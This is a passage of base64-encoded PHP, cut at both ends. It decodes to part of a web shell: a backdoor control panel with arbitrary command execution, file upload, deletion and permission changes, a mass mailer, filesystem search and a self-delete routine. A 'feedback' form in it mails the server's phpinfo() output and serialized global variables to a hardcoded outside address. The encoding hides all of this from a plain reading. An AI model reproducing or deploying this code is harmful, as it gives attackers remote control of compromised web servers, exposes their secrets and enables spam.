ik9PTAgKXtlY2hvICI8aDI+PGNlbnRlcj5CdWZmZXIgaXMgZW1wdHkhPC9jZW50ZXI+PC9oMj4iO31lbHNlIHskZnhfaW5mb2hlYWQ9IkZpbGUtU3lzdGVtIEJ1ZmZlciI7JGxzX2Fycj0kYXJyOyRkaXNwX2Z1bGxwYXRoPVRSVUU7JGFjdD0ibHMiO319aWYoJGFjdD09InNlbGZyZW1vdmUiKXsgPz4NCjxkaXYgY2xhc3M9ImJhcmhlYWRlciI+DQoJLjogU0VMRiBLSUxMIDouDQoJPGhyIHNpemU9IjEiIG5vc2hhZGU+DQoNCjw/IGlmKChAJHN1Ym1pdD09QCRybmRjb2RlKSAmJiAoQCRzdWJtaXQhPSIiKSl7aWYodW5saW5rKF9fRklMRV9fKSl7QG9iX2NsZWFuKCk7ZWNobyAiVGhhbmtzIGZvciB1c2luZyAiLnNoX25hbWUoKS4iISI7ZngyOXNoZXhpdCgpO31lbHNlIHtkaXNwX2Vycm9yKCJDYW4ndCBkZWxldGUgIi5fX0ZJTEVfXy4iISIpO319ZWxzZSB7aWYoIWVtcHR5KCRybmRjb2RlKSl7ZGlzcF9lcnJvcigiRXJyb3I6IEluY29ycmVjdCBjb25maXJtYXRpb24gY29kZSEiKTt9JHJuZD1yYW5kKDAgLDkgKS5yYW5kKDAgLDkgKS5yYW5kKDAgLDkgKTsgPz4NCjxmb3JtIG5hbWU9ImZfa2lsbHNoZWxsIiBhY3Rpb249Ijw/IGVjaG8gJHN1cmw7ID8+Ij4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzZWxmcmVtb3ZlIj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJybmRjb2RlIiB2YWx1ZT0iPD8gZWNobyAkcm5kOyA/PiI+DQoJQXJlIHlvdSBzdXJlIHdhbnQgdG8gcmVtb3ZlIHRoaXMgc2hlbGwgPzxicj4NCgk8PyBkaXNwX2Vycm9yKF9fRklMRV9fKTsgPz4NCgk8YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgIjw/IGVjaG8gJHJuZDsgPz4iPGJyPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdWJtaXQiPjxicj4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iS0lMTCI+DQo8L2Zvcm0+DQo8L2Rpdj4NCjw/IH19aWYoJGFjdD09ImZlZWRiYWNrIil7JHN1cHBtYWlsPSJxQHcucnUiO2lmKCFlbXB0eSgkc3VibWl0KSl7JHRpY2tldD1zdWJzdHIobWQ1KG1pY3JvdGltZSgpK3JhbmQoMSAsMTAwMCApKSwwICw2ICk7JGJvZHk9c2hfbmFtZSgpLiIgZmVlZGJhY2sgIyIuJHRpY2tldC4iXG5OYW1lOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkuIlxuRS1tYWlsOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcbk1lc3NhZ2U6XG4iLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfYm9keSkuIlxuXG5JUDogIi4kUkVNT1RFX0FERFI7aWYoIWVtcHR5KCRmZGJrX3JlZikpeyR0bXA9QG9iX2dldF9jb250ZW50cygpO29iX2NsZWFuKCk7cGhwaW5mbygpOyRwaHBpbmZvPWJhc2U2NF9lbmNvZGUob2JfZ2V0X2NvbnRlbnRzKCkpO29iX2NsZWFuKCk7ZWNobyAkdG1wOyRib2R5Lj0iXG4iLiJwaHBpbmZvKCk6ICIuJHBocGluZm8uIlxuIi4iXCRHTE9CQUxTPSIuYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJEdMT0JBTFMpKS4iXG4iO31tYWlsKCRzdXBwbWFpbCxzaF9uYW1lKCkuIiBmZWVkYmFjayAjIi4kdGlja2V0LCRib2R5LCJGUk9NOiAiLiRzdXBwbWFpbCk7ZWNobyAiPGNlbnRlcj48Yj5UaGFua3MgZm9yIHlvdXIgZmVlZGJhY2shIFlvdXIgdGlja2V0IElEOiAiLiR0aWNrZXQuIi48L2I+PC9jZW50ZXI+Ijt9ZWxzZSB7YmFyX2hlYWRlcigiLjogRmVlZGJhY2sgb3IgcmVwb3J0IGJ1ZyAoIi5zdHJfcmVwbGFjZShhcnJheSgiQCIsIi4iKSxhcnJheSgiW2F0XSIsIltkb3RdIiksJHN1cHBtYWlsKS4iKSA6LiIpOyA/Pg0KDQo8Zm9ybSBuYW1lPSJmX2ZlZWRiYWNrIiBhY3Rpb249Ijw/IGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9InBvc3QiPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImZlZWRiYWNrIj4NCgk8dGFibGUgY2xhc3M9ImNvbnRlbnRzIj4NCgkJPHRyPjx0aD5Zb3VyIG5hbWU6PC90aD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZkYmtfbmFtZSIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAJGZkYmtfbmFtZSk7ID8+Ij48L3RkPC90cj4NCgkJPHRyPjx0aD5Zb3VyIGUtbWFpbDo8L3RoPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmRia19lbWFpbCIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAJGZkYmtfZW1haWwpOyA/PiI+PC90ZD48L3RyPg0KCQk8dHI+PHRoPk1lc3NhZ2U6PC90aD48dGQ+PHRleHRhcmVhIG5hbWU9ImZkYmtfYm9keSIgY29scz04MCByb3dzPTEwPjw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAJGZkYmtfYm9keSk7ID8+PC90ZXh0YXJlYT4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmRia19yZWYiIHZhbHVlPSI8PyBlY2hvIHVybGVuY29kZSgkSFRUUF9SRUZFUkVSKTsgPz4iPjxicj4NCgkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmZGJrX3NlcnZpbmYiIHZhbHVlPSIxIiBjaGVja2VkPiBBdHRhY2ggU2VydmVyIGluZm8gKFJlY29tbWVuZGVkIGZvciBidWctZml4KTwvdGQ+PC90cj4NCgkJPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTZW5kIj48L3RkPjwvdHI+DQoJPC90YWJsZT4NCjwvZm9ybT4NCjw/IH19aWYoJGFjdD09ImZ4bWFpbGVyIil7YmFyX2hlYWRlcigiLjogTWFpbGVyIDouIik7aWYoIWVtcHR5KCRzdWJtaXQpKXskaGVhZGVycz0nVG86ICcuJGRlc3RfZW1haWwuIlxuIjskaGVhZGVycy49J0Zyb206ICcuJHNlbmRlcl9uYW1lLicgJy4kc2VuZGVyX2VtYWlsLiJcbiI7aWYobWFpbCgkZGVzdF9lbWFpbCwkc2VuZGVyX3N1YmosJHNlbmRlcl9ib2R5LCRoZWFkZXJzKSl7ZWNobyAiPGNlbnRlcj48Yj5FbWFpbCBzZW50IHRvICRkZXN0X2VtYWlsITwvYj48L2NlbnRlcj4iO31lbHNlIHtkaXNwX2Vycm9yKCJDYW4ndCBzZW5kIGVtYWlsISIpO319ZWxzZSB7ID8+DQo8Zm9ybSBuYW1lPSJmX21haWxlciIgYWN0aW9uPSI8PyBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPSJwb3N0Ij4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJmeG1haWxlciI+DQoJPHRhYmxlIGNsYXNzPSJjb250ZW50cyI+DQoJCTx0cj48dGg+WW91ciBuYW1lOjwvdGg+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZW5kZXJfbmFtZSIgdmFsdWU9Ijw/IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJHNlbmRlcl9uYW1lKTsgPz4iPjwvdGQ+PC90cj4NCgkJPHRyPjx0aD5Zb3VyIGUtbWFpbDo8L3RoPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2VuZGVyX2VtYWlsIiB2YWx1ZT0iPD8gZWNobyBAaHRtbHNwZWNpYWxjaGFycygkc2VuZGVyX2VtYWlsKTsgPz4iPjwvdGQ+PC90cj4NCgkJPHRyPjx0aD5Ubzo8L3RoPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdF9lbWFpbCIgdmFsdWU9Ijw/IEBodG1sc3BlY2lhbGNoYXJzKCRkZXN0X2VtYWlsKTsgPz4iPjwvdGQ+PC90cj4NCgkJPHRyPjx0aD5TdWJqZWN0OjwvdGg+PHRkPjxpbnB1dCBzaXplPSI3MCIgdHlwZT0idGV4dCIgbmFtZT0ic2VuZGVyX3N1YmoiIHZhbHVlPSI8PyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRzZW5kZXJfc3Viaik7ID8+Ij48L3RkPjwvdHI+DQoJCTx0cj48dGg+TWVzc2FnZTo8L3RoPjx0ZD48dGV4dGFyZWEgbmFtZT0ic2VuZGVyX2JvZHkiIGNvbHM9IjgwIiByb3dzPSIxMCI+PD8gZWNobyBAaHRtbHNwZWNpYWxjaGFycygkc2VuZGVyX2JvZHkpOyA/PjwvdGV4dGFyZWE+PC90ZD48L3RyPg0KCQk8dHI+PHRoPjwvdGg+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlNlbmQiPjwvdGQ+PC90cj4NCgk8L3RhYmxlPg0KPC9mb3JtPg0KPD8gfX1pZigkYWN0PT0ic2VhcmNoIil7YmFyX2hlYWRlcigiLjogRmlsZXN5c3RlbSBTZWFyY2ggOi4iKTtpZihlbXB0eSgkc2VhcmNoX2luKSl7JHNlYXJjaF9pbj0kZDt9aWYoZW1wdHkoJHNlYXJjaF9uYW1lKSl7JHNlYXJjaF9uYW1lPSIoLiopIjskc2VhcmNoX25hbWVfcmVnZXhwPTEgO31pZihlbXB0eSgkc2VhcmNoX3RleHRfd3dvKSl7JHNlYXJjaF90ZXh0X3JlZ2V4cD0wIDt9aWYoIWVtcHR5KCRzdWJtaXQpKXskZm91bmQ9YXJyYXkoKTskZm91bmRfZD0wIDskZm91bmRfZj0wIDskc2VhcmNoX2lfZj0wIDskc2VhcmNoX2lfZD0wIDskYT1hcnJheSgibmFtZSI9PkAkc2VhcmNoX25hbWUsIm5hbWVfcmVnZXhwIj0+QCRzZWFyY2hfbmFtZV9yZWdleHAsInRleHQiPT5AJHNlYXJjaF90ZXh0LCJ0ZXh0X3JlZ2V4cCI9PkAkc2VhcmNoX3RleHRfcmVneHAsInRleHRfd3dvIj0+QCRzZWFyY2hfdGV4dF93d28sInRleHRfY3MiPT5AJHNlYXJjaF90ZXh0X2NzLCJ0ZXh0X25vdCI9PkAkc2VhcmNoX3RleHRfbm90KTskc2VhcmNodGltZT1nZXRtaWNyb3RpbWUoKTskaW49YXJyYXlfdW5pcXVlKGV4cGxvZGUoIjsiLCRzZWFyY2hfaW4pKTtmb3JlYWNoKCRpbiBhcyAkdil7ZngyOWZzZWFyY2goJHYpO30kc2VhcmNodGltZT1yb3VuZChnZXRtaWNyb3RpbWUoKS0kc2VhcmNodGltZSw0ICk7aWYoY291bnQoJGZvdW5kKT09MCApe2VjaG8gIk5vIGZpbGVzIGZvdW5kISI7fWVsc2UgeyRsc19hcnI9JGZvdW5kOyRkaXNwX2Z1bGxwYXRoPVRSVUU7JGFjdD0ibHMiO319ID8+DQo8Zm9ybSBuYW1lPSJmX3NlYXJjaCIgbWV0aG9kPSJwb3N0Ij4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iPD8gZWNobyAkZGlzcGQ7ID8+Ij4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSI8PyBlY2hvICRkc3BhY3Q7ID8+Ij4NCgk8dGFibGUgY2xhc3M9ImNvbnRlbnRzIj4NCgkJPHRyPjx0aD5GaWxlIG9yIGZvbGRlciBOYW1lOjwvdGg+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZWFyY2hfbmFtZSIgc2l6ZT0iPD8gZWNobyByb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSsyNSApOyA/PiIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX25hbWUpOyA/PiI+IDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2VhcmNoX25hbWVfcmVnZXhwIiB2YWx1ZT0iMSIgPD8gZWNobyAoQCRzZWFyY2hfbmFtZV9yZWdleHA9PTEgPyIgY2hlY2tlZCI6IiIpOyA/Pj4gUmVndWxhciBFeHByZXNzaW9uPC90ZD48L3RyPg0KCQk8dHI+PHRoPkxvb2sgaW4gKFNlcGFyYXRlIGJ5ICI7Iik6PC90aD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNlYXJjaF9pbiIgc2l6ZT0iPD8gZWNobyByb3VuZChzdHJsZW4oJHNlYXJjaF9pbikrMjUgKTsgPz4iIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF9pbik7ID8+Ij48L3RkPjwvdHI+DQoJCTx0cj48dGg+QSB3b3JkIG9yIHBocmFzZSBpbiB0aGUgZmlsZTo8L3RoPjx0ZD48dGV4dGFyZWEgbmFtZT0ic2VhcmNoX3RleHQiIGNvbHM9IjUwIiByb3dzPSI1Ij48PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQCRzZWFyY2hfdGV4dCk7ID8+PC90ZXh0YXJlYT48L3RkPjwvdHI+DQoJCTx0cj48dGg+PC90aD48dGQ+DQoJCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InNlYXJjaF90ZXh0X3JlZ2V4cCIgdmFsdWU9IjEiIDw/IGVjaG8gKEAkc2VhcmNoX3RleHRfcmVnZXhwPT0xID8iIGNoZWNrZWQiOiIiKTsgPz4+IFJlZ3VsYXIgRXhwcmVzc2lvbg0KCQkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJzZWFyY2hfdGV4dF93d28iIHZhbHVlPSIxIiA8PyBlY2hvIChAJHNlYXJjaF90ZXh0X3d3bz09MSA/IiBjaGVja2VkIjoiIik7ID8+PiBXaG9sZSB3b3JkcyBvbmx5DQoJCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InNlYXJjaF90ZXh0X2NzIiB2YWx1ZT0iMSIgPD8gZWNobyAoQCRzZWFyY2hfdGV4dF9jcz09MSA/IiBjaGVja2VkIjoiIik7ID8+PiBDYXNlIHNlbnNpdGl2ZQ0KCQkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJzZWFyY2hfdGV4dF9ub3QiIHZhbHVlPSIxIiA8PyBlY2hvIChAJHNlYXJjaF90ZXh0X25vdD09MSA/IiBjaGVja2VkIjoiIik7ID8+PiBGaW5kIGZpbGVzIE5PVCBjb250YWluaW5nIHRoZSB0ZXh0DQoJCTwvdGQ+PC90cj4NCgkJPHRyPjx0aD48L3RoPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTZWFyY2giPjwvdGQ+PC90cj4NCgk8L3RhYmxlPg0KPC9mb3JtPg0KPD8gaWYoJGFjdD09ImxzIil7JGRzcGFjdD0kYWN0O2VjaG8gJHNlYXJjaHRpbWUuIiBzZWNzICgiLiRzZWFyY2hfaV9mLiIgZmlsZXMgYW5kICIuJHNlYXJjaF9pX2QuIiBmb2xkZXJzLCAiLnJvdW5kKCgkc2VhcmNoX2lfZiskc2VhcmNoX2lfZCkvJHNlYXJjaHRpbWUsNCApLiIgb2JqZWN0cyBwZXIgc2Vjb25kKS48L2I+XG4iLiI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPlxuIjt9fWlmKCRhY3Q9PSJjaG1vZCIpeyRtb2RlPWZpbGVwZXJtcygkZC4kZik7aWYoISRtb2RlKXtlY2hvICI8Yj5DaGFuZ2UgZmlsZS1tb2RlIHdpdGggZXJyb3I6PC9iPiBjYW4ndCBnZXQgY3VycmVudCB2YWx1ZS4iO31lbHNlIHskZm9ybT1UUlVFO2lmKCRjaG1vZF9zdWJtaXQpeyRvY3RldD0iMCIuYmFzZV9jb252ZXJ0KCgkY2htb2Rfb1siciJdPzEgOjAgKS4oJGNobW9kX29bInciXT8xIDowICkuKCRjaG1vZF9vWyJ4Il0/MSA6MCApLigkY2htb2RfZ1siciJdPzEgOjAgKS4oJGNobW9kX2dbInciXT8xIDowICkuKCRjaG1vZF9nWyJ4Il0/MSA6MCApLigkY2htb2Rfd1siciJdPzEgOjAgKS4oJGNobW9kX3dbInciXT8xIDowICkuKCRjaG1vZF93WyJ4Il0/MSA6MCApLDIgLDggKTtpZihjaG1vZCgkZC4kZiwkb2N0ZXQpKXskYWN0PSJscyI7JGZvcm09RkFMU0U7JGVycj0iIjt9ZWxzZSB7JGVycj0iQ2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO319aWYoJGZvcm0peyRwZXJtcz1wYXJzZV9wZXJtcygkbW9kZSk7ZWNobyAiPGI+Q2hhbmdpbmcgZmlsZS1tb2RlICgiLiRkLiRmLiIpLCAiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiIgKCIuc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJGQuJGYpKSwtNCAsNCApLiIpPC9iPlxuIi4iPGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iXG4iLiI8Zm9ybSBuYW1lPVwiZl9jaG1vZFwiIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1cInBvc3RcIj5cbiIuIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj5cbiIuIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj5cbiIuIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jaG1vZD5cbiIuIjx0YWJsZT48dHI+XG4iLiI8dGQ+PGI+T3duZXI8L2I+PGJyPjxicj5cbiIuIjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiBSZWFkPGJyPlxuIi4iPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEiLigkcGVybXNbIm8iXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+IFdyaXRlPGJyPlxuIi4iPGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3hdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+IGVYZWN1dGU8L3RkPlxuIi4iPHRkPjxiPkdyb3VwPC9iPjxicj48YnI+XG4iLiI8aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbcl0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4gUmVhZDxicj5cbiIuIjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiBXcml0ZTxicj5cbiIuIjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPiBlWGVjdXRlPC90ZD5cbiIuIjx0ZD48Yj5Xb3JsZDwvYj48YnI+PGJyPlxuIi4iPGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3JdIHZhbHVlPTEiLigkcGVybXNbInciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+IFJlYWQ8YnI+XG4iLiI8aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbd10gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4gV3JpdGU8YnI+XG4iLiI8aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj4gZVhlY3V0ZTwvdGQ+XG4iLiI8L3RyPlxuIi4iPHRyPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1jaG1vZF9zdWJtaXQgdmFsdWU9XCJTYXZlXCI+PC90ZD48L3RyPlxuIi4iPC90YWJsZT5cbiIuIjwvZm9ybT5cbiI7fX19aWYoJGFjdD09InVwbG9hZCIpeyR1cGxvYWRtZXNzPSIiOyR1cGxvYWRwYXRoPShpc3NldCgkdXBsb2FkcGF0aCkpP3N0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdXBsb2FkcGF0aCk6JGQ7aWYoc3Vic3RyKCR1cGxvYWRwYXRoLC0xICkhPURJUkVDVE9SWV9TRVBBUkFUT1IpeyR1cGxvYWRwYXRoLj1ESVJFQ1RPUllfU0VQQVJBVE9SO31pZighZW1wdHkoJHN1Ym1pdCkpeyR1cGxvYWRmaWxlPSRfRklMRVNbInVwbG9hZGZpbGUiXTtpZighZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKXtpZihlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKXskZGVzdGluPSR1cGxvYWRmaWxlWyJuYW1lIl07fWVsc2UgeyRkZXN0aW49JHVzZXJmaWxlbmFtZTt9aWYoIW1vdmVfdXBsb2FkZWRfZmlsZSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSwkdXBsb2FkcGF0aC4kZGVzdGluKSl7JHVwbG9hZG1lc3MuPSI8ZGl2IGNsYXNzPWVycm1zZz5FcnJvciB1cGxvYWRpbmcgZmlsZSAiLiR1cGxvYWRmaWxlWyJuYW1lIl0uIiAoQ2FuJ3QgY29weSBcIiIuJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0uIlwiIHRvIFwiIi4kdXBsb2FkcGF0aC4kZGVzdGluLiJcIiE8L2Rpdj4iO31lbHNlIHskdXBsb2FkbWVzcy49IkZpbGUgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5ITxicj4iLiR1cGxvYWRwYXRoLiRkZXN0aW47fX1lbHNlIHskdXBsb2FkbWVzcy49IjxkaXYgY2xhc3M9ZXJybXNnPk5vIGZpbGUgdG8gdXBsb2FkITwvZGl2PiI7fX1lY2hvICR1cGxvYWRtZXNzOyRhY3Q9ImxzIjt9aWYoJGFjdD09ImRlbGV0ZSIpeyRkZWxlcnI9IiI7Zm9yZWFjaCgkYWN0Ym94IGFzICR2KXskcmVzdWx0PUZBTFNFOyRyZXN1bHQ9ZnNfcm1vYmooJHYpO2lmKCEkcmVzdWx0KXskZGVsZXJyLj0iQ2FuJ3QgZGVsZXRlICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO319aWYoIWVtcHR5KCRkZWxlcnIpKXtkaXNwX2Vycm9yKCJFcnJvciBkZWxldGluZzo8YnI+JGRlbGVyciIpO30kYWN0PSJscyI7fWlmKCRhY3Q9PSJjb3B5Iil7JGVycj0iIjskc2Vzc19kYXRhWyJjb3B5Il09YXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRhY3Rib3gpO2Z4Mjlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7JGFjdD0ibHMiO31lbHNlaWYoJGFjdD09ImN1dCIpeyRzZXNzX2RhdGFbImN1dCJdPWFycmF5X21lcmdlKCRzZXNzX2RhdGFbImN1dCJdLCRhY3Rib3gpO2Z4Mjlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7JGFjdD0ibHMiO31lbHNlaWYoJGFjdD09InVuc2VsZWN0Iil7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KXtpZihpbl9hcnJheSgkdiwkYWN0Ym94KSl7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX1mb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdil7aWYoaW5fYXJyYXkoJHYsJGFjdGJveCkpe3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX1meDI5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyRhY3Q9ImxzIjt9aWYoQCRhY3RlbXB0eWJ1ZmYpeyRzZXNzX2RhdGFbImNvcHkiXT0kc2Vzc19kYXRhWyJjdXQiXT1hcnJheSgpO2Z4Mjlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7fWVsc2VpZihAJGFjdHBhc3RlYnVmZil7JHBzdGVycj0iIjtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpeyR0bz0kZC5iYXNlbmFtZSgkdik7aWYoIWZzX2NvcHlfb2JqKCR2LCR0bykpeyRwc3RlcnIuPSJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO31pZigkY29weV91bnNldCl7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX1mb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdil7JHRvPSRkLmJhc2VuYW1lKCR2KTtpZighZnNfbW92ZV9vYmooJHYsJHRvKSl7JHBzdGVyci49IkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fXVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fWZ4Mjlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7aWYoIWVtcHR5KCRwc3RlcnIpKXtkaXNwX2Vycm9yKCJQYXN0aW5nIHdpdGggZXJyb3JzOjxicj4kcHN0ZXJyIik7fSRhY3Q9ImxzIjt9ZWxzZWlmKEAkYWN0YXJjYnVmZil7JGFyY2Vycj0iIjtpZihzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyAsNyApPT0iLnRhci5neiIpeyRleHQ9Ii50YXIuZ3oiO31lbHNlIHskZXh0PSIudGFyLmd6Ijt9aWYoJGV4dD09Ii50YXIuZ3oiKXskY21kbGluZT0idGFyIGNmenYiO30kY21kbGluZS49IiAiLiRhY3RhcmNidWZmX3BhdGg7JG9iamVjdHM9YXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKTtmb3JlYWNoKCRvYmplY3RzIGFzICR2KXskdj1zdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHYpO2lmKHN1YnN0cigkdiwwICxzdHJsZW4oJGQpKT09JGQpeyR2PWJhc2VuYW1lKCR2KTt9aWYoaXNfZGlyKCR2KSl7aWYoc3Vic3RyKCR2LC0xICkhPURJUkVDVE9SWV9TRVBBUkFUT1IpeyR2Lj1ESVJFQ1RPUllfU0VQQVJBVE9SO30kdi49IioiO30kY21kbGluZS49IiAiLiR2O30kdG1wPXJlYWxwYXRoKCIuIik7Y2hkaXIoJGQpOyRyZXQ9ZngyOWV4ZWMoJGNtZGxpbmUpO2NoZGlyKCR0bXApO2lmKGVtcHR5KCRyZXQpKXskYXJjZXJyLj0iQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjAgKSkuIikhPGJyPiI7fSRyZXQ9c3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJHJldCk7JHJldD1leHBsb2RlKCJcbiIsJHJldCk7aWYoJGNvcHlfdW5zZXQpe2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdil7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX1mb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdil7aWYoaW5fYXJyYXkoJHYsJHJldCkpe2ZzX3Jtb2JqKCR2KTt9dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9ZngyOV9zZXNzX3B1dCgkc2Vzc19kYXRhKTtpZighZW1wdHkoJGFyY2Vycikpe2Rpc3BfZXJyb3IoIkFyY2hpdmF0aW9uIGVycm9yczo8YnI+JGFyY2VyciIpO30kYWN0PSJscyI7fWlmKCRhY3Q9PSJjbWQiKXtAY2hkaXIoJGNoZGlyKTtpZighZW1wdHkoJHN1Ym1pdCkpe2Jhcl9oZWFkZXIoIi46IENvbW1hbmQgT3V0cHV0IDouIik7JG9sZGRpcj1yZWFscGF0aCgiLiIpO0BjaGRpcigkZCk7JHJldD1meDI5ZXhlYygkY21kKTskcmV0PWNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpO2lmKCRjbWRfdH